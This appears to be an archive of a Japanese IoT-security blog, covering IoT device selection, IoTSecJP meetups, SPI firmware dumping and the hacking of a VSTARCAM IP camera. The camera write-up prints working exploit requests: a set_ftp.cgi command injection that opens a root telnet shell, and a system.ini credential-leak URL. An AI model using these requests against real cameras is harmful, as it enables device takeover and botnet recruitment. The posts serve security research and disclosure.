ハンバーガーおいしい(●´ڡ`●)
今日はハンバーガーを食べましたヽ( ´￢`)ノ ﾜ～ｲ !!
ハンバーガーってこんなのヽ(‘ ∇‘ )ノ
これが普通のハンバーガー！★
これがチーズバーガー！★
これがフィレオフィッシュ！！！！
注文したらこんな感じ٩(๑′∀ ‵๑)۶•*¨*•.¸¸♪
これがナゲット！！！！！
・・・ (´；ω；｀)ﾌﾞﾜｯ
https://matome.naver.jp/odai/2140739773776820901
■お知らせ
PentestSecJPのSlackを作成しました。
初手はSlackベースで運営してくださる方を集めながら、PENTESTITやVulnHubなど適当に触ったり検証補助できれば良いと思っています。
・Slack参加リンク
賢いIoT機器の買い方
黒林檎です。
今日は、「賢いIoT機器の買い方」を紹介していきたいと思います。
脆弱性を有したIoT機器をピンポイントで購入することは、「運」の要素が強いように思えます。
そこで、筆者が機器を購入するときに行うチェック方法の一部を紹介します。
例えば、以下のように複数のIoT機器があり、この中からセキュリティの研究や検証に使えそうな機器を選ぶためのアプローチは大まかに３つあります。
（1）OEM製品で既にハックされているIoT機器を選ぶ
（2）公式サイトにファームウェアが配布されており、自明な脆弱性がある
（3）モバイルアプリに自明な脆弱性がある
中華系OEM製品はファームウェアが配布されていることが珍しいため、今回は避けます
（1）と（2）になりますが、OEM製品で既にハックされている製品を購入するアプローチは紹介するまでもないため(ハックしたという紹介記事に記載されている機器と同一モデルを購入するだけ)、今回は（3）のモバイルアプリに自明な脆弱性があるパターンを紹介したいと思います。
(図)amazonで販売されているIoT機器一部(※今回購入した商品は含まれていない)
amazonでIoT機器を探したところ、複数の素敵な商品が表示されました。
その素敵な製品名にapk downloadという文字列を付加するとapkファイルをダウンロードできるウェブサイトにアクセスできます。
通常、スマートフォン経由でapkを取得しますが、デコンパイルしたソースコードを見るだけなので、時間短縮(※偽アプリの可能性やマルウェアの可能性を考慮しない)でこういったウェブサイトを使用しています。
もし、偽アプリやマルウェアの懸念をされる方は、VirusTotal（https://www.virustotal.com/ja/）にダウンロードしたapkを送信し、マルウェアなどの悪意あるファイルなのか事前に判定しても良いでしょう。
上記は筆者のアプローチであり推奨方法ではありません、正規のGoogleのPlayストア経由でダウンロードすることが一番問題が発生しません。
それではソースコードを解析していきましょう。
オンライン上でapkをデコンパイルしてくれるサービスがあるので、それを使用しましょう。
Android Apk decompiler（http://www.javadecompilers.com/apk）
(図) Android Apk decompiler経由でデコンパイルしたファイル
デコンパイルされたソースコードをちゃんと読むのはしんどいので、以下の3つにポイントを絞り探します。
（1）APIサーバーの情報
（2）意味がありそうな製品特有の文字列
（3）資格情報
勿論、それ以外にもポイントはあると思いますが、今回の目的は「製品購入アプローチ」なので一般的なモバイルアプリケーション診断の観点などは置いておきます。
調査したところ、APIサーバーの情報がハードコーディングされている箇所を発見しました。
(図)APIサーバーの情報がハードコーディングされている箇所
http通信でやり取りをしているようなので、通信を盗聴したり改変することが簡単そうです。
APIサーバーにアクセスしてみたところ、JSONファイルをレスポンスで返す仕組みになっているようです。
さらに調査をしたところ、下記のような画面をAPIサーバー上に発見しました。
(図)デバッグ用に機能と思われる機器に命令を発行できそうな画面(※サンプル)
おそらく、任意の製品のMacアドレスを入力し各パラメータを正しく入力すると特定の命令を実行するような処理を行ってくれるデバッグ機能だと思われます。
以下のような図を見て想像してみてください。
(図)脅威想像図
上記の想定が正しい場合、製品が接続しているAPIサーバーにバックドアが組み込まれていることになり、攻撃者はIoT機器の電源や各種制御が簡単に行えそうです。
APIサーバー経由でIoT機器を操作する性質上、製品メーカーはユーザーのIoT機器を自由に操作できますが、国内メーカーのIoT機器や信頼性が低いメーカーのIoT機器を購入した場合、脆弱性も問題ですが今回にようなバックドアも重大な問題です。
例えば、IoT機器によっては遠隔操作により火災などに繋がる可能性も考えられます。
一般的な消費者はコストとの兼ね合いでIoT機器を購入すると思いますが、本当にその製品でいいのか、いま一度考え購入すべきです。
さて、記事の本題は「賢いIoT機器の買い方」でしたが、IoT製品の脆弱性診断の練習時に、たくさんIoT機器を購入してきてテストしていくからコストが無駄にかかりそうと感じている方も多いと思われます。
しかし、購入前に「精査」すれば脆弱である可能性が高い製品をかなり高い確率で購入することが可能です。
・注意
注意点として、APIサーバーなど外部のシステムに対しての不正な攻撃はNGです。
例えば、脆弱性診断ツール(sqlmapやOWASP ZAPなど)をインターネット上に公開されているサーバーに行うのは多くの場合、脆弱性発見の有無に関係なく犯罪行為とされます。
本記事は違法なハッキング行為を助長するためではなく、セキュリティ研究のアプローチの１つとして書かせていただきました。
こういった研究の過程で、脆弱性を発見すれば然るべき機関(IPAやPSIRTなど)に届け出しましょう。
No more サイバー犯罪！
-
告知「ハッカーの学校 IoTハッキングの教科書」
ご存知の方もおられると思いますが、ハッカーの学校 IoTハッキングの教科書が7月19日に出版予定です。
ハッキング実験室と異なり、今回は初めての共著になります。
IoTハッキングに触れる1冊として、書店などで見かけられましたら、お手に取っていただければ幸いです。
ハッカーの学校 IoTハッキングの教科書
「ハッカーの学校 IoTハッキングの教科書」公式サイト
@r00tapple
IoTSecJP東京#2後記
黒林檎です。
IoTSecJP東京 #2を開催したので、それの経過報告です。
会場提供していただいた、株式会社ラック様と多数の面白いお話を発表していただいた登壇者の方々本当にありがとうございました。
セキュリティ対策のラック｜情報を守るセキュリティ対策のパイオニア
うれしの(@enzerus)さんには、会場調整などなど大変お世話になりました。
本当にありがとうございましたm(__ )m
また、何時もながらhogehuga(@hogehuga)さんとNV(@nvsofts)さんにも大変お世話になっております。
本当にありがとうございましたm(__ )m
(図)タイムテーブル
●IoTSecJPについて
IoTSecJPの趣旨としては、国内で有益なテクニカル情報がオープンになっていないので知見共有しようぜ！というコミュニティです。
例えば、洋書ではSDRハッキングの入門やファームウェア改ざんやハードウェアハックは本で出版されているほど情報があります。
しかし、国内だとそういった情報を取得するには言語の壁があります。
そういった壁を克服するコミュニティの一種だと考えてもらえれば幸いです。
IoTSecJPに参加する方法は２つあります。
(図)2つのコミュニティ
facebookは実名コミュニティとしてお考え下さい。
・https://www.facebook.com/IoTSecJP/
slackは匿名コミュニティであるとお考え下さい。
・https://join.slack.com/t/iotsecjp/shared_invite/enQtMjk0ODI2MTc2NTc3LWI2YTNlNjBlZDVjZGQ3OWU4NjIwMTEwNGNiY2UyYjFhN2VkZWI5MTY5OGU2MmMzZDcxODY2ZTc2MjE4NWU4ODE
●発表者の資料など
IoTハックに使える買って良かったと思うもの(@nvsofts)
https://speakerdeck.com/nvsofts/iothatukunishi-erumai-tuteliang-katutatosi-umofalse
IoTマルウェアについて資料の冒頭一部(@yuw4n_Sploit)
https://twitter.com/yuw4n_Sploit/status/950212941273448448
自動車ってどうやってハッキングするんですか？ @IoTSecJP #2(@_tokina23)
https://www.slideshare.net/HimituEightnote/iotsecjp-2-by-tokina23-85812641
・・etc(資料公開は任意であるため公開されない資料もあります。)
●IoTSecJPで今後やっていくこと
今回の当日キャンセルはかなりの数がでたため今回の参加枠からの当日キャンセルは、リスト化した管理を行って、以降抽選形式で除いていく可能性があります。
・ドタキャン枠を完全に補欠にまわす管理
・参加費を少額いただいて、どこかのコミュニティか登壇している学生交通費にカンパする仕組み(それかwikiか有益な団体に全額寄付して領収書を公開)
昨日他のスタッフの方とお話した感じだと、上記2つのどちらかになると思います。
次回の開催は、4月をめどにしています。(3月はセキュリティ企業は案件が大変なので集まらないという指摘を昨日いただきました。)
また、コミュニティとしてなにかやりたいという思いもあります。
きとけー(@kitokay)さん と にほんももんが(@nhnmomonga)さんの発表で、以下の2つは個人的にGOしたいなという気持ちがあります。
・Bus Pirateのドキュメントを日本語化する
・技術系同人誌を作成する。(大きくても50ページ行かないぐらい？)
まず、Bus Pirateのドキュメントを日本語化する理由として、ハードウェアセキュリティに取り組むエンジニアが増えるのではないかという期待です。
国内では、attify badgeやSHIKURAというシリアル変換デバイスを手に入れるのは面倒です。
しかし、Bus Pirateは比較的簡単に入手るすることができます。
Bus Pirateは現状情報量が少ないため使用するユーザー数が増えれば、結果的に情報量が増えるのでまわりまわって個人的に幸せになれそうという理由です。
(図)不正な使用は厳禁
(図)きとけー氏のドキュメントを日本語にしようぜ！プロジェクト
技術系同人誌は、遠方のエンジニア(関西と関東)が関わるには、面白い取り組みだと感じたからです。
現状登壇者コミュニティになっていることもあり、コミュニティが陳腐化しないためにも、成果出していきたいという気持ちがあります。
50ページで1カテゴリではなく、5カテゴリあると対象層が広がるので面白そうなので、興味がある人は是非お声がけください。
●ディスカッション
ディスカッションとハンズオンタイムを同時に進行していました。
出た質問をみると以下のような感じです。
ディスカッションってスピーカーが登壇者に話振るのが理想なんですよね。
司会下手で大変申し訳ありません。
【質問】
初心者なので教えていただきたいのですが、そもそもIoTの診断の一連の流れってどんな感じなのですか？
【@nvsoftsさん 回答】
・対象システムの構成をヒアリングする
（例:無線通信の種類、クラウドサービスの構成）
・どこまで検査するかを明確にする
（クラウドがからむと、本番サイトを攻撃しかねないため）
・貸与された機器を分解して良いかを確認する
・得られた情報から、検査内容を提案する
・検査を実施する
・報告書の作成、必要であれば報告会の実施
【質問】
IoTハッキング完全初心者なのですが、どこから学べば良いか気になります。
【@nvsoftsさん 回答】
体系的に勉強したいのであれば書籍やトレーニング等をおすすめします
とりあえず試してみたい！というのであれば止めません、ジャンク屋でルーターとかをか買ってきましょう
【質問】
IoTのフォレンジック案件とかあり得ると思いますか？
個人的には、IoTの中にログとかきちっとあるとはあまり思えないので、有り得たとしても、IoTのフォレンジックでなくIoTに繋がってるスマホとかネットワークの方のふつうのネットワークフォレンジックとかになるんじゃないかって思うんですが……
【@nvsoftsさん 回答】
そのような観点はあるようです
しかし、主流になるかどうかはまだ未知数です
（電源を切ると消えてしまうようなデータをどのように保全するのか？などの問題がある）
●最後に
今回ご参加いただいた皆様には、大変感謝を申し上げます。
引き続き、IoTSecJPを今後ともどうぞ宜しくお願いします。
また、テクニカルな内容でなくても、啓発や海外の事例紹介などで、参加者から登壇者になっていただけると幸いに存じます。
IoTSecJP東京感想
黒林檎です。
昨日は、初のIoTSecJP東京でした。
うみさま、ありがとうございました！
※キックオフまでの流れをhogehugaさんがまとめてくれました。
2017-11-23 IoTSecJP東京 キックオフのまとめ - Togetterまとめ
内容はこんな感じで、3時間で発表時間が2時間55分ぐらい(?)
会場の雰囲気(これでも当日キャンセル多数でMAX16人がキャンセルしてます。)
「IoTSecJPは、Slack作れ」という方へ朗報です！
hogehugaさんがIoTSecJPのslackを立ち上げてくれました！
ありがとうございます！！！！！！！！！！！
■IoTSecJP概要
IoTSecJPは、IoTセキュリティに関する啓発や診断技術に関する意見を交換するコミュニティです、
不定期で有志で『IoTSecJP』という名前でイベントをすることもあります。 IoTセキュリティにご興味がある方は是非ご参加下さい。
IoTSecJPのコミュニティページはこちら
https://www.facebook.com/groups/115145965852825/
黒林檎の体重をHACK
黒林檎です。
自堕落な土日を送っています。
雨だし家に引きこもりがちですけど、自堕落してるとお腹に来ませんか?
お腹に来ちゃったので、私は自覚しないとダメだと考え、スマートフォンでデータを見れるIoTチックな体重計買いました。
でも、ITエンジニアって目に疲労が残るんですよね。
なので、休日にスマートフォンとか見たくないじゃないですか?
皆さんもそうだと思うんですが、パケットでみたくないですか?
[緊急クエスト]黒林檎の体重をHACK！
[IoT]
https://www.amazon.co.jp//dp/B01N42B4R2
[パケット]
https://drive.google.com/file/d/0B2ENdYkFyZVEejZSU3BfMm9FdU0/view?usp=sharing
SPI経由のファームウェアのダンプ
黒林檎です。
突然ですが、SPI経由のファームウェアダンプに成功しました。
失敗していた理由は、brlttyで意地悪してるやつがいて、そいつのでせいでFTDIのデバドラがうまく対象のIoT機器と通信しなかったという話。
半歩先ブログさん、良い情報ありがとうございました～！
SPIの基本的な接続などの話は前回のブログでしたので省略します。
対象のIoTとは、こんな感じで接続してました。
(図)SPIの接続
ファームウェアダンプの流れを動画にしました、3ステップな簡単な流れです。
(0)/dev/ttyUSB0にFTDIデバイスが認識されていることを確認する
(1)spiflash.pyでファームウェアをダンプ
(2)stringsで中身があるか確認する
(3)binwalkでファームウェアを分解する。
ファームウェアの解析は、以前にイエラエセキュリティさんのブログで記事書いたのでそれを読んでみてください。(※今現在イエラエセキュリティさんには所属しておりません。)
こういった問題を避けるために、以下のサイトにあるチップセットは極力使用しない。
SPIなどに入れるデータは、暗号化しておくなどの処置が必要だと思われます。
あとは、以下のページなどを参考にしてみてください。
reverseengineering.stackexchange.com
そういった脆弱なSPIチップを検索するサイト立ててみたので、需要があれば使ってください。(以前も触れましたが、作りが荒いのはご愛敬ということで・・)
IoTSecJPもよろしくー！
IoTSecJPは、IoTセキュリティに関する啓発や診断技術に関する意見を交換するコミュニティです、
不定期で有志で『IoTSecJP』という名前でイベントをすることもあります。 IoTセキュリティにご興味がある方は是非ご参加下さい。
個人的な思いとしては、開発者とセキュリティエンジニアで議論できれば最高なので開発者の方どんどん参加してください～！
https://www.facebook.com/groups/115145965852825/
ファームウェアのダンプ
黒林檎です。
突然ですが、SPI経由のファームウェアダンプに成功しました。
失敗していた理由は、brlttyで意地悪してるやつがいて、そいつのでせいでFTDIのデバドラがうまく対象のIoT機器と通信しなかったという話。
半歩先ブログさん、良い情報ありがとうございました～！
SPIの基本的な接続などの話は前回のブログでしたので省略します。
対象のIoTとは、こんな感じで接続してました。
(図)SPIの接続
ファームウェアダンプの流れを動画にしました、3ステップな簡単な流れです。
(0)/dev/ttyUSB0にFTDIデバイスが認識されていることを確認する
(1)spiflash.pyでファームウェアをダンプ
(2)stringsで中身があるか確認する
(3)binwalkでファームウェアを分解する。
ファームウェアの解析は、以前にイエラエセキュリティさんのブログで記事書いたのでそれを読んでみてください。(※今現在イエラエセキュリティさんには所属しておりません。)
こういった問題を避けるために、以下のサイトにあるチップセットは極力使用しない。
SPIなどに入れるデータは、暗号化しておくなどの処置が必要だと思われます。
あとは、以下のページなどを参考にしてみてください。
reverseengineering.stackexchange.com
そういった脆弱なSPIチップを検索するサイト立ててみたので、需要があれば使ってください。(以前も触れましたが、作りが荒いのはご愛敬ということで・・)
IoTSecJPもよろしくー！
IoTSecJPは、IoTセキュリティに関する啓発や診断技術に関する意見を交換するコミュニティです、
不定期で有志で『IoTSecJP』という名前でイベントをすることもあります。 IoTセキュリティにご興味がある方は是非ご参加下さい。
個人的な思いとしては、開発者とセキュリティエンジニアで議論できれば最高なので開発者の方どんどん参加してください～！
https://www.facebook.com/groups/115145965852825/
「SPI Vulnerability Check」について
黒林檎です。
最近、JTAG/SPIダンプ系のハードウェアハッキングを勉強してます。
近々IoTSecJP関西でSPIフラッシュチップに関する勉強会をしたいと思ってるので、興味がある方は是非ご参加ください。
今回は、SPIフラッシュダンプの勉強の過程で、少し面白いアイディアがあったので、それのお話をします。
SPI(シリアル・ペリフェラル・インタフェース)って何?といった方もおられると思いますので、wikiから引用してみます。
シリアル・ペリフェラル・インタフェース(Serial Peripheral Interface, SPI)は、コンピュータ内部で使われるデバイス同士を接続するバスである。パラレルバスに比べて接続端子数が少なくて済むシリアルバスの一種で、比較的低速なデータ転送を行うデバイスに利用される。
(引用元)シリアル・ペリフェラル・インタフェース - Wikipedia
そしてSPIフラッシュダンプは、チップ内にあるデータ(ファームウェアなど)を抽出する目的でしばし用いられます。
詳細な技術に興味がある方は、youtubeに良い動画があったので、参考にしてみてください。
SPIフラッシュダンプの流れは、簡単です。
データシートを見て「SCK/MOSI/MISO/CS」を確認しダンプに用いるディバイスと接続し、flashromなどのダンプツールを実行するだけですね。
(図)SPIフラッシュダンプの流れ
SPIフラッシュダンプの概要を説明したところで、本題に戻ります。
最近、総務省が「IoT セキュリティ総合対策」というPDFを出しました。
国内のIoTセキュリティ事情を追ってる人であれば、目にしたと思いますが、そこにこんなことが記述されていました。
簡易な脆弱性チェックソフトの開発等
利用している IoT 機器に脆弱性が有するか確認したい利用者に対して、簡
易に脆弱性をチェックできるソフトを開発して配布する取組や、脆弱性を調査する民間サービスの実施を促進する取組を検討する必要がある。
③ ハードウェア脆弱性への対応
集積回路の設計工程において、ハードウェア脆弱性が存在する可能性が指摘されており、平成 29 年度から、戦略的情報通信研究開発推進事業（SCOPE）において、ハードウェア脆弱性の検知技術の研究開発が行われている。具体的には、膨大な数の回路設計図をビッグデータとして収集・蓄積し、これを元に脆弱性が存在する可能性のあるチップを、AI を活用して類型化し、ハードウェア脆弱性を発見することを目指すものである。
今後、IoT 端末はさらなる増加が見込まれており、ソフトウェアやファームウェアに対する対策と合わせて、引き続き、ハードウェアに組み込まれるおそれのあるハードウェア脆弱性を検出する技術の研究開発について、ビッグデータや AI を活用しつつ推進していく必要がある。
(引用元)http://www.soumu.go.jp/main_content/000510701.pdf
それでは、SPIフラッシュダンプに対するセキュリティ評価をビッグデータとAIを活用しない一例を少し、やってみようと思います。
flashromでは、SPIをダンプできるであろうチップセットの一覧が取得できます。
Hack The World · Juan Carlos Jimenez などでSPIフラッシュダンプでファームウェアの抽出をしているブログは数多くあります。
これらのブログのダンプ対象の多くは、flashromの一覧にあり、flashromなどのツールが対応していないチップセットからファームウェアをダンプしようとするのは難しくなると考えられます。
(図)flashromのダンプできるチップ一覧
そこで、このリストを抽出し、SPIフラッシュダンプが簡易にされてしまうか評価するウェブサイトを作成します。
(図)SPI Vulnerability Checkの流れ
ウケたら頑張って作ろうというノリで、データベースも用いていないウェブサイトです。
チップの評価も完全一致でなく部分一致で評価してしまいます。(49LF002A/Bを49LF00と同等にしてしまう。)
一応脆弱性チェックしましたが、バグとかあると思います。
「SPI Vulnerability Check」の趣旨としては、プログラマが開発段階で使用するモジュールなどを吟味するように、IoT機器の設計段階では、使用するチップセットなど選ぶと思います。
その際に、既にハックされているチップか手軽に調べられるサイトがあればと考えました。
http://ruffnex.net/kuroringo/SPI/
最後に、
IoTの脆弱性診断はしんどいのと、IoTを作成するのはセキュリティエンジニアではなく開発者なので開発サイドでできる一定のセキュリティ評価方法があればと思います。
IoTSecJPに参加お待ちしております。
https://www.facebook.com/groups/115145965852825/
IoTSecJPは、IoTセキュリティに関する啓発や診断技術に関する意見を交換するコミュニティです、
不定期で有志で『IoTSecJP』という名前でイベントをすることもあります。 IoTセキュリティにご興味がある方は是非ご参加下さい。
https://www.facebook.com/IoTSecJP/
IoTSecJPのコミュニティはこちら(IoTセキュリティに関する議論が一番しやすい)
https://www.facebook.com/groups/115145965852825/
※私の不手際で、IoTSecJPのページが2つあります。(slackにしとけばよかった、誰か運営になってslackページ作ってくれ)
グループでないと、上手くディスカッションができないと思うので、コミュニティからグループへの移行お願い致します。
「中華ウェブカメラ」のセキュリティについて
黒林檎です。
今日は、IPカメラをハッキングしていこうと思います。
◆最初に
巷で話題のIPカメラ『VSTARCAM Mini WIFI IP Camera 技術基準適合認定済み有線/無線LAN対応ネットワークカメラ C7823WIP』をハッキングして、どんなセキュリティリスクがあるか考えていきたいと思います。
最初に疑ったことはスピーカーの破損によるシステム音声のボヤきだったので、ウェブカメラで再生される音声データを抽出してみましたが、該当しそうな音声データはありませんでした。
金曜日にこんな面白い話が降ってきたので、速攻ポチって買いました。
同じシステムを使っているカメラを購入してハッキングしていたので、そこまで時間掛けずにハッキングできるだろうといったところでした。
(図)IPカメラ
私が検証したIPカメラのファームウェアバージョンなどを載せます。
・firmware:48.53.75.92(購入時状態、今回検証)
・最新firm:48.53.75.98(未検証)
見た瞬間に前にハッキングしたカメラと「絶対同じだ(笑)」と読み取れるぐらい同じパッケージ(箱の形・付属品・カメラの作り方)でした。
前回のブログでも軽く触れましたが、API公開情報が以前ハッキングしたカメラ同様に公開されていました。
https://www.foscam.es/descarga/ipcam_cgi_sdk.pdf
(図)API一覧表の該当箇所
前回の記事を読んでいない方は、ぜひ一読してみてください。
また、以前に0dayが見つかっており以下のページで確認することができます。
Zero-day exploits could turn hundreds of thousands of IP cameras into IoT botnet slaves
https://www.cybereason.com/ip-cameras/
0day Exploit
◆検証
それでは、流通してるカメラで実際にexploitが通るか確認していきましょう。
ポートスキャンでIPカメラのオープンポートを確認します。
==============================
Host is up (0.027s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
9600/tcp open micromuse-ncpw
10080/tcp open unknown(RTSP)
10554/tcp open unknown(ONVIF)
40202/tcp open unknown(HTTP)
==============================
(図)管理画面
(図)管理画面から読み取れる情報
CVE-2017-8225 - カスタムHTTPサーバー内の事前認証情報漏洩（認証情報）の問題から・・
以下のような情報が漏洩する可能性があります。
(通常時)IPカメラのアカウント資格情報が漏洩
(個別設定時)FTP・SMTPアカウント資格情報の漏洩
また、0dayでは「http: //IPカメラ/system.ini?loginuse&loginpas」で空の資格情報で設定ファイルを漏洩できたと発表されています。
もし、この脆弱性が下位ファームウェアで有効だった場合は、アカウント情報を変更していてもアカウント資格情報(ユーザー名・パスワード)は漏洩します。
また、そこからIPカメラが完全に攻撃者に掌握される可能性があります。
(図)認証情報の漏洩
ここからFTPやSMTPに不正アクセスされる可能性は多いに考えられます。
CVE-2017-8223 - その他 - 認証なしのストリーミングの問題から・・
rtspのストリーミング(カメラ)を不正視聴できるはずですが、こちらのIPカメラ(ファームウェア:48.53.75.92)では確認できませんでした。
===================
r00tapple@ubuntu:~$ vlc rtsp://192.168.128.104:10554/tcp/av0_0
VLC media player 2.2.2 Weatherwax (revision 2.2.2-0-g6259d80)
[00000000006be0c8] core libvlc: vlcはデフォルトのインターフェースで実行しています。インターフェースのない vlc を使用するには'cvlc'を使用してください。
[00007fbb9c003bb8] live555 demux error: Failed to connect with rtsp://192.168.128.104:10554/tcp/av0_0
[00007fbb940009b8] core input error: open of `rtsp://192.168.128.104:10554/tcp/av0_0' failed
QObject::~QObject: Timers cannot be stopped from another thread
===================
また、リモートでバックドア(telnet)の立ち上げが可能でした。
root許可されたRCE認証にOSコマンドインジェクションの脆弱性があるそうです。
この脆弱性を使うことで、任意のOSコマンドが実行できるためMirai(IoT botnet)のようにIPカメラをボット化させDDoS攻撃に加担させることも可能です。
コマンドインジェクションはin set_ftp.cgi（see $(ftp x.com)）にあります
==============================
(1)一回目に送信するリクエスト
http: //IPカメラ/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p23 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0
(1)二回目に送信するリクエスト
http: //IPカメラ/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin
==============================
結果として、未だに脆弱性があるカメラが国内流通していたためexploitが刺さりました。
セキュリティが修正されているか不明ですが、ファームウェアの最新が「48.53.75.98」に更新するなどしてみてください。
(図)バックドアの立ち上げとハッキング
怪しい接続先などについて
昔中華製IoTカメラをハッキングしたときは、Zeusの管理プログラムが通信先サーバーに混入していた例がある。
今回は、「45.33.49.203」に適当なタイミングでSYN_SENTしているので気になりましたが、どうもlinodeというクラウドホスティング(SSD Cloud Hosting & Linux Servers - Linode)でした。
ping見てもわかるとおり、不安定なサーバーで怪しさはありますね。
ここは流した所ですけど、詳細に調べた方が良さそう。
(図1)45.33.49.203にコネクションしている
(図)ping間隔
以前に私がハッキングした、管理サーバーにZeusの管理コントロールプログラムが混入していた問題はココ
ハッキングしようと思って、IoTな防犯カメラ買って遊んでたらバックドアあるはZeusサーバーに接続してデータ投げてるは最悪だったんだが。(コレ買った https://t.co/qh0T6u3Tm5 ) pic.twitter.com/y8HgA4t49z
— 黒林檎 (@r00tapple) 2016年4月6日
◆問題点
この脆弱性の問題点ですが、別のメーカーのカメラも購入したのですが同じシステムを使っているため(基盤のIPカメラのプログラムをチップセットのような形式で販売という形で提供されているため、同じプログラムが使いまわされている)同様の脆弱性を含んだ製品が国内に大量に出回っている可能性が高い。
今回話題になったIPカメラの攻撃ベクターを詳しく検証する必要性がある。
・・というのは、「１台」のIPカメラを完全に新規の0dayで乗っ取れた場合、横槍で多中華メーカーのIPカメラをハッキングすることが可能です。
イメージにすると、下記のようになります。
(図)１台掌握すれば同じ攻撃で別の機器もハック可能
上記が今回一番シビアな問題で、消費者が修正パッチを適用しても本当に修正されているか検証することが非常に難しいのと現時点で国内にどれだけ脆弱なチップセット組み込んだ中華IPカメラがあるか把握することが難しいとったところです。
=問題性が高いIPカメラ=
今回のカメラ(VSTARCAM)
同様の問題を持っていそうなカメラ(WANSCAM)
===
◆対策
情報が少なくてなんとも言えないのですが、「firmware:48.53.75.92」を今回ハッキングしたところ、このファームウェアのバージョンではこんな感じでした。
_____________________________________
・telnetはデフォルトでない
・IPカメラのアカウントはデフォルトでadmin/888888だが、スマホや管理画面から任意で変更することが可能。(変更することで攻撃のリスクは減る)
・同じようなIPカメラで、.iniファイルへのアクセスが正しくチェックされていないようで、攻撃者は、URIに空loginuseと空を付けて認証をバイパスできるようですが、私の環境(firmware:48.53.75.98)では確認できませんでした。
例「wget -qO- 'http://IP_addr/system.ini?loginuse&loginpas'|xxd|less」
・管理画面のHTTPサーバーのポート番号が再起動ごとに変化する。(これが一番対策で必要そうなので必須確認)
・認証無しrtspストリーミングは確認することは出来なかった。(これは確証微妙なので、いい検査方法あれば教えてください。)
_____________________________________
※最新firm:48.53.75.98(未検証)
・ファームウェアアップデート
・資格情報変更
もし、知見ある方で最新か下位のファームだった場合違いがあるか共有いただけると幸いです。
◆最後に
IoTは値段と品質は相違関係では無いというのが個人的な考えですが、こういった問題はセキュリティ意識(対応が早い国内メーカーの機器を使おう)などが問われる問題だと思います。
実際、中国メーカーの機器(しかも、汎用ファームウェアレベル)になってしまうとJPCERTなど国のセキュリティ機関も対応が難しく、今後このような消費者セキュリティは深刻な問題になるでしょう。
(1)一般消費者向けIoTセキュリティについて
(2)IoT診断について
(3)IoT診断士の育成について
(4)気になったIoTニュースを投げて議論する
これらの観点で、IoTセキュリティを議論するコミュニティのご参加お待ちしております。(ぜひ、運営手伝ってくれる方も募集してます)
(図)IoTSecJP
8月20日(日曜日)に、神戸三宮で緩くウェブカメラの脆弱性見ながら危険性認知する勉強会やりたいと思います。
IoTSecJP関西(ウェブカメラの運用について考える会)
https://connpass.com/event/64518/
IoT診断入門(続)
黒林檎です。
今回の記事は、総関西サイバーセキュリティLT大会で話した発表資料をブログベースで書いていきます。
総関西サイバーセキュリティＬＴ大会（第4回） - connpass
発表資料はこんな感じです。
全体公開微妙なところが多かったので、濁した表現が多い印象です。
前回のIoT診断と同じ内容もありますが、新しい内容もあるため楽しんでご覧いただけると幸いです。
場の投影スクリーンの問題で詳しくお話できなかった事についてです。
前回の「IoT診断」発表後からIoT関連でどんな進展があったかご紹介します。
(図)前回からの変化
前回の総関西サイバーセキュリティLT大会からの動きとして、所属している会社がソフト産業プラザ・イメディオ様が実施しているAIDORアクセラレーションというプログラムにIoTのセキュリティ課題に関して何か出来ないかということでパートナーにならせていただきました。
簡単にお話をさせていただく場を貰いましたので、「クラウドファンディング系のセキュリティ品質が問題視されているお話」などをさせていただきました。
面白い取り組みができれば、また何かの形でお知らせ出来ればと思います。
それでは、本題となるIoT診断に関わるIoTセキュリティのお話に戻ります。
IoTとサーバーの違いを皆さん明確にいえますか？
Iot(Internet of Things)と言いつつも「Bluetooth LE」や「NFC」といった短距離無線でしか通信しない機器も「IoT」という枠組みになっているのが実情です。
勿論、IPカメラの内側では組込みシステム用のLinuxが動いていて管理画面用などにウェブサーバーが動いていることが当たり前です。
そこだけで考えると、IPカメラとウェブサーバーの仕組みはほぼ同じでセキュリティ的脅威も同じだと考えられます。
では、「IoTならでは」のセキュリティ的脅威はないのか調べてみました。
(図)IoTとサーバーの違い
中華製のウェブカメラを購入し試験的にウェブカメラの診断演習をしたところ面白い話が見つかりました。
中華製含め、一部のIPカメラのAPIが公開されていることがわかりました。
http://wiki.reecam.cn/CGI/Params
一部のAPIでは、telnetの起動パラメータが存在し、そのパラメータをIPカメラに送信することでtelnetが立ち上がりリモートからtelnetでIPカメラにアクセスできる仕組みが提供されていることがわかりました。
IPカメラのセキュリティ的脅威として、「miraiやhajimeといったIoTマルウェアが既知の資格情報を用いることでioTを掌握する」という話は一般コンシューマにも認知され初めて「パスワードをデフォルトから変更しなければダメ」という話は広まっているかと思います。
しかし、IPカメラのAPIが公開されており、バックドアのような機能が提供されているといった話はそういったセキュリティ関連のサイトでも見かけません。
これは問題であり、こういった情報が「技術者・消費者」含め認知されていく必要性があると感じる次第です。
中国製ネットワークカメラが勝手に動き出して中国語が聞こえてきた怖い話（動画あり） - 僕とネットショッピング
※このIPカメラを私も購入したので、ハッキング後記を書くことができれば、またお書きします。
話が変わりますが、このIoTシステムの脅威はいったいなんでしょうか？
_____________________________________
・スマートペットフィーダー(ペットに餌を与えるIoT)
・SmartPhone(ユーザーがIoTを操作するためのアプリ)
_____________________________________
「IoTセキュリティ」なので、「スマートペットフィーダー」のみが問題でしょうか？
(図)簡単なIoTシステム概要図
予算の問題で「Webアプリケーション診断・プラットフォーム診断・スマートフォンアプリケーション診断」をフルで脆弱性診断できない場合は多々あると思います。
そういったケースで考えたとき・・。
先ほどのIoTシステムの趣旨は、「ペットに任意のタイミングで餌を与えること」であり、運用・事業継続のために死守しなければならないのはAPIサーバーがダウンする事で、そのために冗長化は出来ているかやOSコマンドインジェクションといったAPIサーバーを停止できる脆弱性のチェックを優先すべきです。
そのため、システム構成上criticalになり得る脆弱性を洗い出す必要性があります。(例えばですが、IoTでは、しばしばcsrfはcriticalな問題になり得ます。)
(図)APIサーバーのダウンがシステム上一番不味い
診断箇所の選定は、前回の記事を参考にしてください。
では、なぜ診断箇所の選定をしなければならないのか？というお話をしていきます。
以下のようなケースは多々考えられると思います。
IoTを作っているのに、「デバイス」と「ハードウェア」はセキュリティ診断不要といったパターンですね。
(図)診断コストのミスマッチによる診断箇所の除外
「IoT」と「アプリケーション」の通信が完璧に実装されているケースでも、下記のようなケースを想定していない場合があります。
